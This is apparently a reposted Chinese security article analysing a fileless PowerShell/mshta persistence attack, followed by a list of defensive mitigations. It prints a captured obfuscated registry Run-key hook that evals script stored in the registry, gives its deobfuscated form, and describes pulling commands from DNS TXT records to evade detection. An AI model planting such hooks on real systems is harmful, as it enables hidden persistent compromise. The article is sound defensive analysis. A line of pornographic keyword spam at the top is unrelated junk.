自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

PowerShell注入技巧:無盤持久性和繞過技術

安全 網(wǎng)站安全
由于安全研究人員和網(wǎng)絡攻擊者會遇到越來越先進的PowerShell以及相應的檢測繞過技術,而且隨著代碼混淆技術的不斷發(fā)展,安全防御人員的工作更是難上加難。

寫在前面的話

PowerShell是網(wǎng)絡安全專家、IT管理員以及黑客們最喜歡的工具之一,這一點是毋庸置疑的。PowerShell的可擴展性和其強大的功能讓微軟操作系統(tǒng)的可控制程度上升到了一個前所未有的等級。簡單說來,Powershell 是運行在windows機器上實現(xiàn)系統(tǒng)和應用程序管理自動化的命令行腳本環(huán)境,而它可以算是顛覆了傳統(tǒng)的命令行提示符-cmd.exe。

在Binary Defense(一家專業(yè)從事網(wǎng)絡安全業(yè)務的公司)中有著大量PowerShell的擁護者,無論是進行自動化測試也好,還是進行復雜的程序分析也罷,PowerShell都是他們的首選工具。除此之外,像PowerShell Empire以及PowerSploit這樣的工具也是網(wǎng)絡安全研究領域以及黑客的摯愛。

[[190526]]

攻擊分析

我們通常可以看到很多利用PowerShell的攻擊向量,而且在昨天晚上,我們的終端安全檢測與應急響應平臺(Vision)檢測到了一個使用了多種方法來實現(xiàn)攻擊持久化并規(guī)避傳統(tǒng)反病毒技術的攻擊事件。它所使用的第一種方法是讓目標用戶訪問一個需要升級Adobe Flash瀏覽器插件的網(wǎng)站,而攻擊者在這里需要使用到mshta.exe(一種HTA攻擊方法),MSHTA.exe是微軟的一個合法程序,它可以在任何瀏覽器中隨時調(diào)用。但是在大多數(shù)情況下,它并不是合法的擴展,因此我們建議用戶在配置防火墻時屏蔽所有的HTA擴展。因為HTA文件允許我們調(diào)用任意的命令,而攻擊者同樣可以做到這一點,所以啟用HTA擴展很有可能讓我們的主機遭到攻擊。

需要注意的是,這個攻擊向量在很多年前就已經(jīng)嵌入在了Unicorn和社會工程學工具套件(SET)之中了。

PowerShell的攻擊向量

此時,如果系統(tǒng)彈出了提示框,而攻擊者又根據(jù)提示框中的信息進行了操作(打開-open),那么目標用戶將會被攻擊。攻擊向量可以是一個VBS下載器、PowerShell,或者是一段下載后自動執(zhí)行的惡意代碼。只要用戶點擊了“Open”,任何事情都有可能會發(fā)生。但是在我們近期所研究的攻擊案例中,攻擊者使用了HTA攻擊方法作為攻擊的初始階段和Dropper。

頁面會發(fā)起一個惡意HTA,當用戶打開了這個HTA之后,Vision會立刻檢測到其惡意行為:

惡意HTA

當文件被打開之后,一段PowerShell命令將會被執(zhí)行。一般情況下攻擊者會通過PowerShell發(fā)動SYSWOW64降級攻擊,這種攻擊向量可以將進程降級為32位進程,并實現(xiàn)shellcode注入攻擊,而且Unicorn/SET多年以來一直都在使用這種技術。

在對具體的日志記錄進行了分析之后我們發(fā)現(xiàn),很多攻擊者會使用Invoke-Expression(IEX)來提取出特定的注冊表鍵,并實現(xiàn)持久化鉤子。在PowerShell的初始調(diào)用中,變量名和持久化鉤子都經(jīng)過了混淆處理。大致如下圖所示:

在PowerShell的初始調(diào)用中,變量名和持久化鉤子都經(jīng)過了混淆處理

在這種攻擊中,注冊表入口位于CurrentVersion\Run,而這里也是持久化鉤子的起始位置。

日志信息如下:

混淆后的持久化注冊表鉤子:

  1. HKEY_USERS:SANITIZED\Software\Microsoft\Windows\CurrentVersion\Run 
  2. "C:\Windows\system32\mshta.exe" "about:<script>c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";</script>

反混淆后的持久化注冊表鉤子:

  1. <script> 
  2. WScript_Shell_Object = new ActiveXObject("WScript.Shell"); 
  3. Registry_Key_Value=WScript_Shell_Object.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs"); 
  4. eval(Registry_Key_Value); 
  5. </script> 

這種就是我們所稱之為的無文件攻擊向量,因為它不需要向硬盤寫入任何內(nèi)容,它唯一需要的就是注冊表鍵,并通過運行注冊表鍵來在目標系統(tǒng)中實現(xiàn)持久化注入。在我們的攻擊場景中,mshta.exe將利用嵌入了PowerShell指令的WScript.shell來調(diào)用特定的注冊表鍵,而且傳統(tǒng)的反病毒產(chǎn)品以及目前絕大多數(shù)安全解決方案都無法檢測到這種無文件的持久化攻擊。

利用原生的PowerShell以及mshta,攻擊者將可以通過傳統(tǒng)的感染技術來實現(xiàn)系統(tǒng)入侵,而且完全不需要下載額外的惡意代碼或安插系統(tǒng)后門。在此過程中,大多數(shù)攻擊者會選擇使用Invoke-Expression,但是具體的攻擊實現(xiàn)方法也是多種多樣的。近期,安全研究專家Vincent Yiu(@vysecurity)演示了一種無需調(diào)用IEX和ExcodedCommand就可以繞過傳統(tǒng)檢測技術的攻擊方法,而且目前很多高級攻擊者也在廣泛使用這種技術。有關這項技術的更多詳細內(nèi)容請參考Vincent Yiu的Twitter:

繞過傳統(tǒng)檢測技術的攻擊方法

在這個例子中,網(wǎng)站的TXT記錄將會下載PowerShell命令,并通過nslookup在系統(tǒng)中執(zhí)行這些命令。這也就意味著,我們可以將命令注入在DNS的TXT記錄中,然后讓系統(tǒng)自動執(zhí)行這些PowerShell命令。Vision所檢測到的一種惡意行為模式如下:

Vision所檢測到的一種惡意行為模式

如果檢測到了nslookup或者代碼提取行為,那么Vision將能夠迅速識別出PowerShell代碼中的nslookup請求以及TXT記錄中的惡意代碼。需要注意的是,Vencent Yiu所提供的方法只能執(zhí)行一個文件而無法執(zhí)行代碼本身,因此我們還需要其他的命令從nslookup TXT記錄中提取出代碼并執(zhí)行它們。

安全研究專家Daniel Bohannon給出了一種不同的實現(xiàn)方法,但這種方法仍然需要用到IEX。演示樣例如下:

  1. $nslookupResult1 = 'iex' 
  2. $nslookupResult2 = 'Write-Host THIS IS MY ACTUAL PAYLOAD -f green' 
  3. . $nslookupResult1 $nslookupResult2 
  4.    
  5. or even better: 
  6.    
  7. $nslookupAllInOne = @('iex','Write-Host ALL IN ONE -f green') 
  8. . $nslookupAllInOne[0] $nslookupAllInOne[1] 

下圖為Vision所識別出的一種特定攻擊模式:

Vision所識別出的一種特定攻擊模式

應對方案

對于那些沒有使用Vision代碼防御平臺的企業(yè)來說,可以采用以下幾種實踐方法來防止攻擊者利用PowerShell攻擊企業(yè)的網(wǎng)絡系統(tǒng):

  • 限制PowerShell命令的字符長度;
  • 限制PowerShell的語言模式;
  • 啟用增強型PowerShell;(參考資料);
  • 定期執(zhí)行威脅檢測以盡早識別出可疑活動;
  • 審查DNS日志并尋找可疑的控制命令和DNS請求;
  • 搜索可疑的System.Management.Automation.dll以及System.Management.Automation.ni.dll
  • 利用類似Sysmon這樣的工具來檢測和記錄可疑進程;
  • 在正常情況下禁止普通用戶執(zhí)行PowerShell命令(AppLocker +Device Guard可以防止普通用戶使用PowerShell);
  • 監(jiān)控powershell.exe的子進程以及可能存在的鉤子;
  • 搜索powershell.exe派生出的32位PowerShell子進程,這也是一種shellcode注入技術的典型檢測方法;

更多內(nèi)容請參考Matthew Graeber的Twitter;

總結

由于安全研究人員和網(wǎng)絡攻擊者會遇到越來越先進的PowerShell以及相應的檢測繞過技術,那些基于模式識別的傳統(tǒng)檢測方法已經(jīng)不能再僅僅依靠惡意PowerShell來完成檢測了,而且隨著代碼混淆技術的不斷發(fā)展,安全防御人員的工作更是難上加難。因此,我們只有盡早地識別出可疑的行為模式,才能夠降低個人用戶和企業(yè)用戶受到攻擊的可能性。

責任編輯:趙寧寧 來源: 安全客
相關推薦

2013-07-09 10:18:58

VDI虛擬化

2019-01-17 04:41:38

2021-05-25 10:20:31

Python持久性編程語言

2009-09-27 09:55:38

Hibernate持久

2019-09-06 09:50:52

云存儲硬盤云服務

2022-10-27 08:00:32

DockerAWS云容器

2021-12-29 14:04:14

惡意軟件黑客網(wǎng)絡攻擊

2009-09-23 15:25:08

Hibernate 3

2017-09-07 15:39:27

2021-01-22 10:40:08

Linux文件內(nèi)存

2009-09-15 16:37:06

Google App 持久性

2021-06-02 08:00:00

MOSH開源工具

2013-01-11 16:23:29

2023-12-08 08:26:05

數(shù)據(jù)存儲持久性

2014-06-05 14:41:05

亞馬遜AWS

2017-11-06 05:52:52

2015-10-12 11:37:07

2013-07-23 15:10:34

PowerShell

2023-02-28 09:47:42

2013-06-03 10:02:53

WAF繞過
點贊
收藏

51CTO技術棧公眾號